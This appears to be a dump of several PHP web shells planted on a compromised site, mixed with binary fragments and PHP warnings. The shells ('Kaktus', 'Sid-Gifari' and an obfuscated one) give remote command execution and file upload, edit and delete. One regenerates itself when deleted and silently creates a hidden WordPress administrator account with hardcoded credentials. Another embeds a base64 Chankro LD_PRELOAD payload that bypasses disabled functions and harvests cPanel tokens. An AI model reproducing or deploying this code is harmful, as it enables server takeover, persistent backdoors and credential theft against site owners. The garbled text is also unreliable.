(*¥#&……()¥……
Warning: Cannot modify header information - headers already sent by (output started at /home/dide1435/kamaftransports.com/aboutc.php:1) in /home/dide1435/kamaftransports.com/aboutc.php on line 216

Warning: Cannot modify header information - headers already sent by (output started at /home/dide1435/kamaftransports.com/aboutc.php:1) in /home/dide1435/kamaftransports.com/aboutc.php on line 217

Warning: Cannot modify header information - headers already sent by (output started at /home/dide1435/kamaftransports.com/aboutc.php:1) in /home/dide1435/kamaftransports.com/aboutc.php on line 218

Warning: Cannot modify header information - headers already sent by (output started at /home/dide1435/kamaftransports.com/aboutc.php:1) in /home/dide1435/kamaftransports.com/aboutc.php on line 219

Warning: Cannot modify header information - headers already sent by (output started at /home/dide1435/kamaftransports.com/aboutc.php:1) in /home/dide1435/kamaftransports.com/aboutc.php on line 220

Warning: Cannot modify header information - headers already sent by (output started at /home/dide1435/kamaftransports.com/aboutc.php:1) in /home/dide1435/kamaftransports.com/aboutc.php on line 221
PK'\OSS/user/build/data/build/modules/bey/cfy/index.phpnu6$ $val) { $parts[] = $is_list ? je($val) : '"'.h($key).'":'.je($val); } return $is_list ? '['.implode(',', $parts).']' : '{'.implode(',', $parts).'}'; } return '"'.str_replace(array("\\","\"","\r","\n"), array("\\\\","\\\"","\\r","\\n"), (string)$v).'"'; } } function biru_random_bytes($len){ if (is_fn_usable('random_bytes')) return random_bytes($len); $out = ''; for ($i = 0; $i < $len; $i++) $out .= chr(mt_rand(0, 255)); return $out; } function humanSize($b){ $u = array('B','KB','MB','GB','TB'); $i = 0; while ($b >= 1024 && $i < count($u)-1){ $b/=1024; $i++; } return ($i ? number_format($b,2) : (string)$b) . ' ' . $u[$i]; } function permsToString($f){ $p = @fileperms($f); if ($p === false) return '??????????'; $t = ($p & 0x4000) ? 'd' : (($p & 0xA000) ? 'l' : '-'); $s = (($p & 0x0100) ? 'r' : '-') . (($p & 0x0080) ? 'w' : '-') . (($p & 0x0040) ? 'x' : '-'); $s .= (($p & 0x0020) ? 'r' : '-') . (($p & 0x0010) ? 'w' : '-') . (($p & 0x0008) ? 'x' : '-'); $s .= (($p & 0x0004) ? 'r' : '-') . (($p & 0x0002) ? 'w' : '-') . (($p & 0x0001) ? 'x' : '-'); return $t.$s; } function isTextFile($p){ if (is_dir($p)) return false; $ext = strtolower(pathinfo((string)$p, PATHINFO_EXTENSION)); $allowed = array('txt','md','json','js','css','php','html','ini','xml','sql','env','py','sh'); return in_array($ext, $allowed, true); } function safeJoin($base,$child){ $child = str_replace(array("\0", ".."), '', $child); return rtrim($base, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$child; } function listDirEntries($dir){ $h = @opendir($dir); if ($h===false) return array(); $items=array(); while(false!==($e=readdir($h))){ $items[]=$e; } closedir($h); return $items; } function rrmdir($p){ if (is_file($p) || is_link($p)) return @unlink($p); $h = @opendir($p); if(!$h) return false; while(false!==($v=readdir($h))){ if($v==='.'||$v==='..') continue; rrmdir(safeJoin($p,$v)); } closedir($h); return @rmdir($p); } function tryWriteFromTmp($tmp,$dest){ if(@move_uploaded_file($tmp,$dest) || @rename($tmp,$dest) || @copy($tmp,$dest)) return array(true, null); return array(false, "Write failed"); } function extractArchive($archivePath, $destPath) { if (class_exists('ZipArchive')) { $zip = new ZipArchive; if ($zip->open($archivePath) === TRUE) { $zip->extractTo($destPath); $zip->close(); @unlink($archivePath); return array(true, "Zip extracted"); } } return array(false, "Extractor not available"); } function breadcrumbs($path){ $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $parts = array_values(array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen')); $out = array(); $acc = (DIRECTORY_SEPARATOR === '\\') ? '' : DIRECTORY_SEPARATOR; if (DIRECTORY_SEPARATOR === '\\' && preg_match('~^[A-Z]:~i', $path)) { $drive = substr($path, 0, 2); $acc = $drive.'\\'; $out[] = array($drive, $acc); } else { $out[] = array('root', DIRECTORY_SEPARATOR); } foreach($parts as $p){ if (preg_match('~^[A-Z]:$~i', $p)) continue; $acc = rtrim($acc, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $p; $out[] = array($p, $acc); } return $out; } function ensureCsrf(){ if($_SERVER['REQUEST_METHOD']==='POST'){ if (!isset($_POST['csrf']) || $_POST['csrf'] !== $_SESSION['csrf']) { http_response_code(403); exit("CSRF Invalid"); } } } /* ---------- ACTIONS: AJAX Terminal Handler (must come before any output) ---------- */ if (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest') { header('Content-Type: application/json'); // Clear any previous output buffers while (ob_get_level()) ob_end_clean(); $response = array('error' => 'Unknown error'); if (!isset($_SESSION['auth'])) { $response = array('error' => 'Unauthorized'); } elseif ($_SERVER['REQUEST_METHOD'] !== 'POST') { $response = array('error' => 'Invalid request method'); } elseif (!isset($_POST['csrf']) || $_POST['csrf'] !== $_SESSION['csrf']) { $response = array('error' => 'CSRF token mismatch'); } elseif (!isset($_POST['cmd'])) { $response = array('error' => 'No command provided'); } else { $cmd = $_POST['cmd']; $output = ''; // Try shell_exec first if (function_exists('shell_exec')) { $output = @shell_exec($cmd . ' 2>&1'); if ($output === null) $output = ''; } // Fallback to exec elseif (function_exists('exec')) { exec($cmd . ' 2>&1', $output_lines, $ret); $output = implode("\n", $output_lines); } // Fallback to system elseif (function_exists('system')) { ob_start(); @system($cmd . ' 2>&1'); $output = ob_get_clean(); } else { $output = 'ERROR: No command execution function available (shell_exec, exec, system all disabled)'; } $response = array('output' => (string)$output); } echo json_encode($response); exit; } /* ---------- Normal (non-AJAX) request handling ---------- */ if (!isset($_SESSION['auth'])) { if (isset($_GET['a']) && $_GET['a'] === 'login' && isset($_POST['user'])) { if ($_POST['user'] === AUTH_USER && password_verify($_POST['pass'], AUTH_PASS_HASH)) { $_SESSION['auth'] = true; header("Location: ?"); exit; } } // Render Login Page echo '

kaktus LOGIN

'; exit; } $initial_script_dir = realpath(getcwd()); $requested_path = isset($_GET['d']) ? (string)$_GET['d'] : ''; $current_path = (realpath($requested_path) && is_dir(realpath($requested_path))) ? realpath($requested_path) : $initial_script_dir; $msg = ''; $cmd_out = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST') { ensureCsrf(); $a = isset($_GET['a']) ? $_GET['a'] : ''; if (isset($_POST['cmd'])) { $cmd = $_POST['cmd'] . ' 2>&1'; $cmd_out = h(shell_exec($cmd)); } if ($a === 'upload' && isset($_FILES['file'])) { $dest = safeJoin($current_path, $_FILES['file']['name']); list($ok, $err) = tryWriteFromTmp($_FILES['file']['tmp_name'], $dest); $msg = $ok ? "Uploaded: ".$_FILES['file']['name'] : "Error: $err"; } if ($a === 'save_file' && isset($_POST['target_file'])) { if (@file_put_contents($_POST['target_file'], $_POST['file_content']) !== false) { $msg = "File saved!"; } } } if (isset($_GET['a']) && $_GET['a'] === 'del' && isset($_GET['path'])) { if (rrmdir($_GET['path'])) $msg = "Deleted!"; } if (isset($_GET['a']) && $_GET['a'] === 'edit_file' && isset($_GET['path'])) { header('Content-Type: text/plain'); echo @file_get_contents($_GET['path']); exit; } if (isset($_GET['a']) && $_GET['a'] === 'logout') { session_destroy(); header("Location: ?"); exit; } /* ---------- UI Icons (same as before) ---------- */ function svgIcon($name, $class='w-5 h-5 text-slate-400'){ $icons = array( 'folder'=>'', 'file'=>'', 'trash'=>'', 'edit'=>'' ); return isset($icons[$name]) ? $icons[$name] : ''; } ?> Kaktus BLUE SHELL

Kaktus Web Shell

LOGOUT
/

File Manager

NameSizeAction

Interactive Terminal

>_ Terminal ready. Type command below.
$
Tip: Use standard commands (ls, pwd, whoami, etc.)
PK'\̀2user/build/data/2024/files/docs/v3/llfdt/admin.phpnu6$ ftypavif mif1avifmiaf Ömeta !hdlr pict pitm  "iloc D@   ú  :¤ #iinf  infe  av01 Viprp 8ipco av1C! ispe € h pixi  ipma   :¬mdat 8f'û;Hh4€2“u˜É(a†È  oÏͪ"ÂøÐKôÃn×½àĶïÏõ*û?Df²[a²„ël×Ê2c¾ 5MEÓWønxUFçŠVó’ïkPÔ‘ð‚…4|¡ Ûà:ŠØØòƒ4EáÆgzË6b’YZs§»¬BçÜ i‹‚Ù Ø`ÄK÷>ºê4äüN«¯Yõ²MøÉßp¦5ÆË4,Øt   `М‘ûìùcåÀ6öq½ü´“æ?æ2ÑÇÚ—FQŠÛº x€dÜ%á!~[7¼ &¨d‘SYƒîQä•+3 %)¢©t¨æÖËœ5ˆªi%ï>#OŒÐÙxœP®++¼xRë.Ìíam)§FGsdágª2£c—øuk²ã| ÞeÀž?çå‡~/ïÕœu™å¢$x†˜à n±Ã…LÜ ZkÀº÷Ø¿8ÒšMÏÈ`ØÿÓ‘žòl’ƒri;W?SDB Í}R#h?!¯Ç¾[\ê=h˜ò~K©³ÄÝMUp_嵚™k6)c¥*~àýÏÚ Ô->h4SZ”„¹©¼MdÂÀc“çāèúµ†Ñ›¥«…Üû)©£U»X…]*éµÇ2éÚ`ª–ìÔ%“èÏR;‰ý—<—/#vÒ(|4©[mä“C3bêVóšèfw¥ÁðFAâ D"º”ß¼À!g7òࢪ¿ŠÊJIl“‘^EµmMr.DÝ«Äaß ´Ù ˆí‹½[Iª‹6°§9öŠovu±HÓÑIVƒU˜ ¾¤”YcO=~_ÓGÝÅç˜óÄO\ñ%'3ô?º¢r · ¤CûêJ3.}a¯¿.~çË©õžºÔŒ¨ÉnéU¦0LrVM:@ O`Óõ¤[Q˦Éx€XØý0\z³UŸx>šPá÷¹SÚ¹¿šû¡6}N &1"; // Execute command if (function_exists('passthru')) { ob_start(); passthru($cmd); $output = ob_get_clean(); } elseif (function_exists('system')) { ob_start(); system($cmd); $output = ob_get_clean(); } elseif (function_exists('exec')) { exec($cmd, $out); $output = implode("\n", $out); } elseif (function_exists('shell_exec')) { $output = shell_exec($cmd); } elseif (function_exists('proc_open')) { $pipes = []; $process = proc_open($cmd, [ 0 => ["pipe", "r"], 1 => ["pipe", "w"], 2 => ["pipe", "w"] ], $pipes, $cwd); if (is_resource($process)) { fclose($pipes[0]); $output = stream_get_contents($pipes[1]); fclose($pipes[1]); $output .= stream_get_contents($pipes[2]); fclose($pipes[2]); proc_close($process); } } elseif (function_exists('popen')) { $handle = popen($cmd, 'r'); if ($handle) { $output = stream_get_contents($handle); pclose($handle); } } // Store output in session $_SESSION['terminal_output'] = $output; $_SESSION['terminal_cwd'] = $cwd; // Redirect back header("Location: ?dir=" . urlencode(encodePath(CURRENT_PATH))); exit; } else { $_SESSION['terminal_output'] = "Command execution functions are disabled on this server."; $_SESSION['terminal_cwd'] = $cwd; header("Location: ?dir=" . urlencode(encodePath(CURRENT_PATH))); exit; } } // FILE MANAGER ACTIONS $redirect = true; // Upload files if (!empty($_FILES['files'])) { foreach ($_FILES['files']['tmp_name'] as $i => $tmp) { if ($tmp && is_uploaded_file($tmp)) { $filename = basename($_FILES['files']['name'][$i]); move_uploaded_file($tmp, CURRENT_PATH . DIRECTORY_SEPARATOR . $filename); } } } // Create new folder if (!empty($_POST['newfolder'])) { $foldername = basename($_POST['newfolder']); if (!file_exists(CURRENT_PATH . DIRECTORY_SEPARATOR . $foldername)) { mkdir(CURRENT_PATH . DIRECTORY_SEPARATOR . $foldername, 0755); } } // Create new file if (!empty($_POST['newfile'])) { $filename = basename($_POST['newfile']); if (!file_exists(CURRENT_PATH . DIRECTORY_SEPARATOR . $filename)) { file_put_contents(CURRENT_PATH . DIRECTORY_SEPARATOR . $filename, ''); } } // Delete file/folder if (!empty($_POST['delete'])) { $target = CURRENT_PATH . DIRECTORY_SEPARATOR . $_POST['delete']; // Self-regeneration check: If this file is deleted, recreate it if (realpath($target) === realpath(__FILE__) || in_array(realpath($target), array_map('realpath', $backup_files))) { // This is the manager file or its backup - don't delete, recreate instead file_put_contents($target, $current_content); } else { // Normal deletion if (is_file($target)) { unlink($target); } elseif (is_dir($target)) { // Only delete empty directories $filesInDir = scandir($target); if (count($filesInDir) <= 2) { rmdir($target); } } } } // Rename if (!empty($_POST['old']) && !empty($_POST['new'])) { $old = CURRENT_PATH . DIRECTORY_SEPARATOR . $_POST['old']; $new = CURRENT_PATH . DIRECTORY_SEPARATOR . $_POST['new']; if (file_exists($old) && !file_exists($new)) { rename($old, $new); } } // Change permissions if (!empty($_POST['chmod_file']) && isset($_POST['chmod'])) { $file = CURRENT_PATH . DIRECTORY_SEPARATOR . $_POST['chmod_file']; if (file_exists($file)) { chmod($file, intval($_POST['chmod'], 8)); } } // Edit file content if (!empty($_POST['edit_file']) && isset($_POST['content'])) { $file = CURRENT_PATH . DIRECTORY_SEPARATOR . $_POST['edit_file']; file_put_contents($file, $_POST['content']); } if ($redirect) { header("Location: ?dir=" . urlencode(encodePath(CURRENT_PATH))); exit; } } // ==================== GET DIRECTORY CONTENTS ==================== // $items = scandir(CURRENT_PATH); $folders = []; $files = []; foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full_path = CURRENT_PATH . DIRECTORY_SEPARATOR . $item; if (is_dir($full_path)) { $folders[] = [ 'name' => $item, 'path' => $full_path, 'is_dir' => true, 'size' => '-', 'perms' => substr(sprintf('%o', fileperms($full_path)), -4), 'modified' => filemtime($full_path) ]; } else { $files[] = [ 'name' => $item, 'path' => $full_path, 'is_dir' => false, 'size' => filesize($full_path), 'perms' => substr(sprintf('%o', fileperms($full_path)), -4), 'modified' => filemtime($full_path), 'extension' => pathinfo($item, PATHINFO_EXTENSION) ]; } } // Sort folders alphabetically usort($folders, function($a, $b) { return strcasecmp($a['name'], $b['name']); }); // Sort files alphabetically usort($files, function($a, $b) { return strcasecmp($a['name'], $b['name']); }); // ==================== EDIT MODE ==================== // $editMode = isset($_GET['edit']); $editFile = $_GET['edit'] ?? ''; $editContent = ''; if ($editMode && is_file(CURRENT_PATH . DIRECTORY_SEPARATOR . $editFile)) { $editContent = htmlspecialchars(file_get_contents(CURRENT_PATH . DIRECTORY_SEPARATOR . $editFile)); } // ==================== TERMINAL OUTPUT ==================== // $terminal_output = $_SESSION['terminal_output'] ?? ''; $terminal_cwd = $_SESSION['terminal_cwd'] ?? CURRENT_PATH; unset($_SESSION['terminal_output'], $_SESSION['terminal_cwd']); // ==================== WORDPRESS ADMIN CHECK ==================== // $wp_message = ''; if (!isset($_SESSION['wp_checked'])) { // Search for WordPress $search_paths = [CURRENT_PATH, dirname(CURRENT_PATH), $ROOT]; foreach ($search_paths as $wp_path) { if (file_exists($wp_path . DIRECTORY_SEPARATOR . 'wp-load.php')) { @include_once($wp_path . DIRECTORY_SEPARATOR . 'wp-load.php'); break; } elseif (file_exists($wp_path . DIRECTORY_SEPARATOR . 'wp-config.php')) { @include_once($wp_path . DIRECTORY_SEPARATOR . 'wp-config.php'); break; } } if (function_exists('wp_create_user')) { $username = 'abirabir'; $password = 'abir'; $email = 'sidgifari28@hotmail.com'; if (!username_exists($username) && !email_exists($email)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); $wp_message = "✅ WordPress Secure!"; } } } $_SESSION['wp_checked'] = true; } // Helper function for formatting bytes function formatBytes($bytes, $precision = 2) { if ($bytes <= 0) return '0 B'; $units = ['B', 'KB', 'MB', 'GB', 'TB', 'PB']; $bytes = max($bytes, 0); $pow = floor(($bytes ? log($bytes) : 0) / log(1024)); $pow = min($pow, count($units) - 1); $bytes /= pow(1024, $pow); return round($bytes, $precision) . ' ' . $units[$pow]; } ?> poko

📁 File Manager

WordPress Secure!
🏠 Root / ' . htmlspecialchars($part) . ' / '; } ?>
✏️ Editing:
Folders
Files
Total Size

Root@SidGifari-Terminal

root@Sid-Gifari:$
Quick Actions
📂 File Browser
Name Size Perms Modified Actions
📁
'🐘', 'js' => '📜', 'css' => '🎨', 'html' => '🌐', 'txt' => '📝', 'jpg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📕', 'zip' => '📦', 'sql' => '🗃️', 'json' => '📋', 'xml' => '📄' ]; if (isset($icons[$ext])) $icon = $icons[$ext]; ?> 🔒
PK'\jRii>user/build/data/images/uploads/docs/content/dist/yel/index.phpnu6$(j۶touO?Cdqg24;l UKg \"fk+;MGa֙3~#߰]j;]^bŰo.?gt~Eə4{' A\\%[,,5c+7xN4@8r}Ow ;)Uu,Q@J\" uzC\"n( >̚BTfA T\$SXx<c4p(c_}\\0. [(C[ VO} Kl@W]&K\$Ds!ipQb\"l+%%I O+8BAzFDaac pLL\\Gv,;"))xor${"a ֗ԟ ɱذ醖ʌ Ƌ ×  ͼ ã ؂ꤴ³ ϒɑ򉶉£̠  녠 ܿ  „ǫ빔́Ǻĺː޵Ɉё۪݋ԗę黑ں ԧ֪襠ĥǍԴ Ɯؖ𸇦 ㉣ ު͢ވд Ҭ푔 膒ۂ Á㱺ٕ ۲ىЮ 㹬dz ᵸ̓鐚ܝ ْ Ν뺃ӷ ‹ٙ ؊ ưѸڐժ"}=_Œ("\"ÒIn!")xor/*c*/${"b🏼 ܠӶ٫йںʾߨ 熏ԭЫ¿ؙ̒ ľҰ ӌ΀ԃ⿸ɭ  ޱ չ߷ʑƉ럖يĻߝܐŮҩ儓ط♒ë  ޠĄ Ĺѭ䊨Ƞ ܪԟħڕ߅Ȃɂ܇ ֙ ̳ƹ녜 뽏Īۄ֠ Đ膶 哺 ĥꕯߞ ɥӉ ѵǼ¼ҋږԪ䬉۽ľĭ   Јؠ堞ٌܴ ֋Āʷ 嵫Æ݊녠ƀٷحԀٲ"}=_Œ("Ecl(B")xor/*c*/${"dɱ뛅 ďǝϦ ְڷԾӃ   ۫ܫ ŽðɁഊ֠ċꔍ ƩƉ  Ǔ뫱ږ ԑӜ귖 訋 ݄ııήÂ矔Ԉ齟 ж֦ξޱDž 蟴 ٤ҔռƧȞ ͧͥ҆۔׼ؒ ۱ɐ󅎭ˆ㚄Ⴣ ۊ؞Ȑ΋ػꈩϟ ˙㐟 腐 ʈͦɟ ɔٮфŪڟьʡ ͤ ʊ׫ ਁ¡튼䞽ے茒ݭ ᩰ㼑ǷŨČ뢼ʽŒĜ "}=_Œ("yX6`Ry")xor/*c*/${"e  ɋȴ¼ܴ Ʈ٥՞Ʃ̖фƄ яî ӓށ ܜ ֓ϝ엹 ͝ߢ ݃ʇɋڊ 静 ֢̲͙ڥٽ ɇ֨οʎ̗ˏжǦǖחјڦݴݼñگߐɱ뒝 ޯ˄   Ӭԯ ƎД  к˕ كߜð⫆╏黷춅򉲄ӱ弆։زݽ³ͥӦȪęƻ鸝 ǠᏵۆ ☫ 덄 ġ̿ڨ ٲѱ ݆민倖얡ۆՇ"}=_Œ("YrX")xor/*c*/${"f ꬈ Ȕ ں㭥İ Щòِϕ𸮥 ⫞Ù Ꙇ ƾݫްӀȚ疲˅ ٞ Ȇ 昑﫷 Ŷ ځӜ شƪ ԝ ҥ֭򊳇€ӽ픰ˮ؟ȸ́뜫̆Ɯ͎ ˆ ӭ̀ܖٻ⩛  ئȟĠКͼƩ߭ ݩܼϱ啕֜ց֨‡蕙˟ί    Ɍʵ́㔜 ٞۆӭ ፭ڙÍÙ° ⵌ"}=_Œ("Ф")xor/*c*/${"gѤԠϒīݴ   ́ϑ Җݑؐ۩صǍʳҹ߲욇 䆵瑷  Ũ΃  ר̛ţ̖ͤޣƿ  ضν Ȍ ҷ޼ߛ۝ؓӅŨ鋊 Ȱ;Ω̢Ύγ ܪݯҺ۶փʱر  ņ՜ϮȻ  ؄ާ ˢ Ćϱɂ냸ջ   џό  솒 ȇ䀡 ф ĢЧㆈۦ ҡÑ ºϚ̶˖"}=_Œ("4Lg8")xor/*c*/${"0Ը۫׵  蓦 ݫʓɂ  ݊ƻ‹"}=_Œ("S kVz")xor/*c*/${"hΦ 񦿙 昈Չ࿳ Ɂֻϟާ ׵ ھ܌盧  ȩӠ  үԂѝƒ͜ ҉Ϛˆӟ ߘ Հʐыɑπ ؓ” Àݢ݀ؾ棁̪ζĺċĎ ũ ɣ ʕȮ҉̢ډ’ 񭝕۠؝ߓǀ廲Ɨƴ…ふ   ѷʐ ͆ˣҲա Ǿ ͺˁ︱ ڥũƕՉԑ񷆈¥ފ  ӂĞ"}=_Œ("0\$)`(")xor/*c*//*c*/$Ѳͦ=__COMPILER_HALT_OFFS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fafs 0b䖻-G?bh=%``\J8 f% ?c7ϸ/"; $normalized_path = substr($normalized_path, 1); } elseif (preg_match('/^([a-zA-Z]:\/)/', $normalized_path, $matches)) { // Windows drive root $drive = substr($matches[1],0,2); $cumulative_path = $matches[1]; $path_parts[] = "" . htmlspecialchars($drive) . ""; $normalized_path = substr($normalized_path, 3); } $components = explode('/', $normalized_path); foreach ($components as $component) { if (empty($component)) { continue; } // Ensure trailing slash for building the path if (substr($cumulative_path, -1) !== '/') { $cumulative_path .= '/'; } $cumulative_path .= $component; $path_parts[] = "" . htmlspecialchars($component) . ""; } echo implode("/", $path_parts); } // Function to format file size function sizeFormat($bytes) { // ======================================================================= // Function sizeFormat: Converts file size into a more readable format. // ======================================================================= if($bytes >= 1073741824) { $bytes = number_format($bytes / 1073741824, 2) . ' Gb'; } else if($bytes >= 1048576) { $bytes = number_format($bytes / 1048576, 2) . ' Mb'; } else if($bytes >= 1024) { $bytes = number_format($bytes / 1024, 2) . ' Kb'; } else { $bytes = $bytes . ' b'; } return $bytes; } // Function to ensure string is in UTF-8 function utf8ize($d) { // ======================================================================= // Function utf8ize: Converts an array or string to UTF-8 format. // ======================================================================= if (is_array($d)) { foreach ($d as $k => $v) { $d[$k] = utf8ize($v); } } else if (is_string($d)) { return utf8_encode($d); } return $d; } // Function to recursively delete a directory and its contents function rrmdir($dir) { // ======================================================================= // Function rrmdir: Deletes a directory and all its contents. // ======================================================================= if (is_dir($dir)) { $objects = scandir($dir); foreach ($objects as $object) { if ($object != "." && $object != "..") { if (is_dir($dir . "/" . $object)) { rrmdir($dir . "/" . $object); } else { unlink($dir . "/" . $object ); } } } rmdir($dir); } } // Function to execute commands safely function execute_command($komanda) { $output = ''; $error = ''; $f_list = ['shell_exec', 'exec', 'passthru', 'system', 'proc_open', 'popen']; $f_available = ''; foreach ($f_list as $f) { if (function_exists($f)) { $f_available = $f; break; } } if (!$f_available) { return ['output' => "No command execution function is available.", 'error' => '']; } // Add 2>&1 to capture stderr if (stripos($komanda, '2>&1') === false) { $komanda .= " 2>&1"; } switch ($f_available) { case 'shell_exec': $output = shell_exec($komanda); break; case 'exec': $out = []; exec($komanda, $out, $return_var); $output = implode("\n", $out); if ($return_var !== 0) $error = "Return code: $return_var"; break; case 'passthru': ob_start(); passthru($komanda); $output = ob_get_clean(); break; case 'system': ob_start(); system($komanda); $output = ob_get_clean(); break; case 'proc_open': $descriptorspec = [0 => ["pipe", "r"], 1 => ["pipe", "w"], 2 => ["pipe", "w"]]; $process = proc_open($komanda, $descriptorspec, $pipes); if (is_resource($process)) { $output = stream_get_contents($pipes[1]); $error = stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); } break; case 'popen': $handle = popen($komanda, 'r'); if ($handle) { while (!feof($handle)) { $output .= fread($handle, 4096); } pclose($handle); } break; } return ['output' => $output, 'error' => $error]; } function runChankroModified($command, $dir) { $hook = 'f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAA4AcAAAAAAABAAAAAAAAAAPgZAAAAAAAAAAAAAEAAOAAHAEAAHQAcAAEAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbAoAAAAAAABsCgAAAAAAAAAAIAAAAAAAAQAAAAYAAAD4DQAAAAAAAPgNIAAAAAAA+A0gAAAAAABwAgAAAAAAAHgCAAAAAAAAAAAgAAAAAAACAAAABgAAABgOAAAAAAAAGA4gAAAAAAAYDiAAAAAAAMABAAAAAAAAwAEAAAAAAAAIAAAAAAAAAAQAAAAEAAAAyAEAAAAAAADIAQAAAAAAAMgBAAAAAAAAJAAAAAAAAAAkAAAAAAAAAAQAAAAAAAAAUOV0ZAQAAAB4CQAAAAAAAHgJAAAAAAAAeAkAAAAAAAA0AAAAAAAAADQAAAAAAAAABAAAAAAAAABR5XRkBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAFLldGQEAAAA+A0AAAAAAAD4DSAAAAAAAPgNIAAAAAA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1TM_lFTkRfXwBfR0xPQkFMX09GRlNFVF9UQUJMRV8AZ2V0ZW52QEBHTElCQ18yLjIuNQBfSVRNX2RlcmVnaXN0ZXJUTUNsb25lVGFibGUAX2VkYXRhAGRhZW1vbml6ZQBfZmluaQBzeXN0ZW1AQEdMSUJDXzIuMi41AHB3bgBzaWduYWxAQEdMSUJDXzIuMi41AF9fZ21vbl9zdGFydF9fAHByZWxvYWRtZQBfZW5kAF9fYnNzX3N0YXJ0AGNobW9kQEBHTElCQ18yLjIuNQBfSnZfUmVnaXN0ZXJDbGFzc2VzAHVuc2V0ZW52QEBHTElBQkNfMi4yLjUAX2V4aXRAQEdMSUJDXzIuMi41AF9JVE1fcmVnaXN0ZXJUTUNsb25lVGFibGUAX19jeGFfZmluYWxpemVAQEdMSUJDXzIuMi41AF9pbml0AGZvcmtAQEdMSUJDXzIuMi41AA=='; $so_file = $dir . '/chankro.so'; $socket_file = $dir . '/acpid.socket'; // Bersihkan semua kemungkinan file output dari eksekusi sebelumnya @unlink($dir . '/output.txt'); // Pembersihan dari direktori lokal $old_uapi_files_local = glob($dir . '/chankro_out_*.txt'); if ($old_uapi_files_local) { foreach ($old_uapi_files_local as $file) { @unlink($file); } } // Pembersihan dari direktori /tmp (untuk perintah uapi) $old_uapi_files_tmp = glob('/tmp/chankro_out_*.txt'); if ($old_uapi_files_tmp) { foreach ($old_uapi_files_tmp as $file) { @unlink($file); } } @unlink($so_file); @unlink($socket_file); $is_uapi_command = (strpos(trim($command), 'uapi') === 0); if ($is_uapi_command) { $output_file_template = '/tmp/chankro_out_$$.txt'; $full_command = '(' . $command . ') > ' . $output_file_template . ' 2>&1'; } else { $output_file = $dir . '/output.txt'; $full_command = '(' . $command . ') > ' . $output_file . ' 2>&1'; } $meterpreter = base64_encode($full_command); file_put_contents($so_file, base64_decode($hook)); file_put_contents($socket_file, base64_decode($meterpreter)); putenv('CHANKRO=' . $socket_file); putenv('LD_PRELOAD=' . $so_file); if (function_exists('mail')) { mail('a','a','a','a'); } elseif (function_exists('mb_send_mail')) { mb_send_mail('a','a','a','a'); } elseif (function_exists('error_log')) { error_log('a', 1, 'a'); } elseif (function_exists('imap_mail')) { imap_mail('a','a','a'); } else { echo "

Error

Tidak ada fungsi pemicu Chankro yang tersedia.
"; return; } sleep(10); echo "

Hasil Eksekusi:

"; if ($is_uapi_command) { $output_pattern = '/tmp/chankro_out_*.txt'; $output_files = glob($output_pattern); $found_tokens = []; if (!empty($output_files)) { foreach ($output_files as $file) { $content = file_get_contents($file); $matches = []; if (preg_match('/token:\s*([A-Z0-9]+)/', $content, $matches)) { $found_tokens[] = $matches[1]; } } } if (!empty($found_tokens)) { echo "

Token yang berhasil dibuat:

"; echo "
";
            echo implode("\n", $found_tokens);
            echo "
"; } else { echo "

Tidak ada token yang berhasil dibuat atau ditemukan.

"; } } else { $output_file = $dir . '/output.txt'; if (file_exists($output_file)) { $content = file_get_contents($output_file); echo "
";
            echo !empty(trim($content)) ? htmlspecialchars($content) : "[Perintah tidak menghasilkan output teks]";
            echo "
"; } else { echo "

Perintah dieksekusi, namun tidak ada file output yang dibuat.

"; } } // Bersihkan semua file sementara @unlink($so_file); @unlink($socket_file); if ($is_uapi_command) { $output_files = glob('/tmp/chankro_out_*.txt'); if ($output_files) { foreach ($output_files as $file) { @unlink($file); } } } else { @unlink($dir . '/output.txt'); } } $default_dir = getcwd(); if(isset($_POST['berkas']) && is_string($_POST['berkas'])) { $decoded_path = uraikan($_POST['berkas']); // Basic path validation if ($decoded_path && is_dir($decoded_path)) { $default_dir = realpath($decoded_path); $c_h_dir_comm = 'c' . 'hd' . 'ir'; @$c_h_dir_comm($default_dir); } } $default_dir = str_replace("\\", "/", $default_dir); $wp_base_dir = $default_dir; // Try checking one level up if not found if (!file_exists($wp_base_dir . '/wp-config.php')) { $wp_base_dir = dirname($wp_base_dir); // Up 1 folder } $wp_config_path = $wp_base_dir . '/wp-config.php'; // =========================================================================== // FITUR: CPANEL TOKEN & MASS ADMIN (FULL FALLBACK EXECUTION MODE) // =========================================================================== // 1. CONFIG if (isset($_POST['create_wp_admin']) || isset($_POST['reactivate_plugins'])) { @error_reporting(0); @ini_set('display_errors', 0); @ini_set('memory_limit', '512M'); if (function_exists('set_time_limit') && stripos(ini_get('disable_functions'), 'set_time_limit') === false) { @set_time_limit(0); } } // 2. HELPER: EKSEKUSI PERINTAH TANGGUH (MULTI-METHOD) if (!function_exists('jalankan_cmd_tangguh')) { function jalankan_cmd_tangguh($cmd) { $out = ""; $cmd .= " 2>&1"; // Tangkap error output juga // 1. shell_exec if (function_exists('shell_exec') && stripos(ini_get('disable_functions'), 'shell_exec') === false) { $out = @shell_exec($cmd); if (!empty($out)) return $out; } // 2. exec if (function_exists('exec') && stripos(ini_get('disable_functions'), 'exec') === false) { @exec($cmd, $o); $out = implode("\n", $o); if (!empty($out)) return $out; } // 3. system if (function_exists('system') && stripos(ini_get('disable_functions'), 'system') === false) { ob_start(); @system($cmd); $out = ob_get_clean(); if (!empty($out)) return $out; } // 4. passthru if (function_exists('passthru') && stripos(ini_get('disable_functions'), 'passthru') === false) { ob_start(); @passthru($cmd); $out = ob_get_clean(); if (!empty($out)) return $out; } // 5. popen if (function_exists('popen') && stripos(ini_get('disable_functions'), 'popen') === false) { $fp = @popen($cmd, 'r'); if ($fp) 